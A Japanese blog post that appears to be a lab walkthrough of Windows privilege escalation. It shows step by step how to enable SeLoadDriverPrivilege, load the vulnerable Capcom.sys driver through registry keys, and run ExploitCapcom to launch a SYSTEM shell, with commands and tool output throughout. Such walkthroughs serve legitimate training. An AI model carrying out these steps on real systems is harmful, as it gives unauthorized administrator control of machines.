😽

SeLoadDriverPrivilegeとCapcom.sysを利用したWindows PrivEsc

2022/12/15に公開

SeLoadDriverPrivilegeの確認

>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State   
============================= ============================== ========
SeMachineAccountPrivilege     Add workstations to domain     Disabled
SeLoadDriverPrivilege         Load and unload device drivers Disabled
SeShutdownPrivilege           Shut down the system           Disabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

SeLoadDriverPrivilegeが無効になっている。

EnableSeLoadDriverPrivilege.exeを利用する

このソースコードのヘッダーを以下に更新してコンパイルする。

#include <windows.h>
#include <assert.h>
#include <winternl.h>
#include <sddl.h>
#include <stdio.h>
#include "tchar.h"

VisualStudioの場合、開発者コマンドプロンプトを開き以下のコマンドでコンパイルする。

>cl /DUNICODE /D_UNICODE EnableSeLoadDriverPrivilege.cpp
Microsoft(R) C/C++ Optimizing Compiler Version 19.29.30147 for x86
Copyright (C) Microsoft Corporation.  All rights reserved.

EnableSeLoadDriverPrivilege.cpp
Microsoft (R) Incremental Linker Version 14.29.30147.0
Copyright (C) Microsoft Corporation.  All rights reserved.

/out:EnableSeLoadDriverPrivilege.exe
EnableSeLoadDriverPrivilege.obj

EnableSeLoadDriverPrivilege.exeを実行する

>EnableSeLoadDriverPrivilege.exe 
EnableSeLoadDriverPrivilege.exe 
whoami:
INLANEFREIGHT0\printsvc

whoami /priv
SeMachineAccountPrivilege                         Disabled
SeLoadDriverPrivilege                             Enabled
SeShutdownPrivilege                               Disabled
SeChangeNotifyPrivilege                           Enabled by default
SeIncreaseWorkingSetPrivilege                     Disabled
NTSTATUS: 00000000, WinError: 0

SeLoadDriverPrivilegeが有効になった

Capcom.sysを追加する

ここからCapcom.sysをダウンロードする。
C:\Tempに配置した場合、以下のコマンドでドライバを追加する。

> reg add HKCU\System\CurrentControlSet\CAPCOM /v ImagePath /t REG_SZ /d "\??\C:\Temp\Capcom.sys"
The operation completed successfully.

> reg add HKCU\System\CurrentControlSet\CAPCOM /v Type /t REG_DWORD /d 1
The operation completed successfully.

ドライバがロードされているかを確認する。

ここからDriverView.exeを入手し、Capcom.sysがロードされていることを確認する。

> DriverView.exe /stext drivers.txt
> type drivers.txt | findstr /i Capcom
Driver Name       : Capcom.sys
Filename          : c:\Temp\Capcom.sys

ExploitCapcomを実行する

GitHubからリポジトリを入手する。
ExploitCapcom.exeをコンパイルし、実行する。

>ExploitCapcom.exe
[*] Capcom.sys exploit
[*] Capcom.sys handle was obtained as 000000000000006C
[*] Shellcode was placed at 0000017AF0030008
[+] Shellcode was executed
[+] Token stealing was successful
[+] The SYSTEM shell was launched
[*] Press any key to exit this program

管理者権限を取得した。

Discussion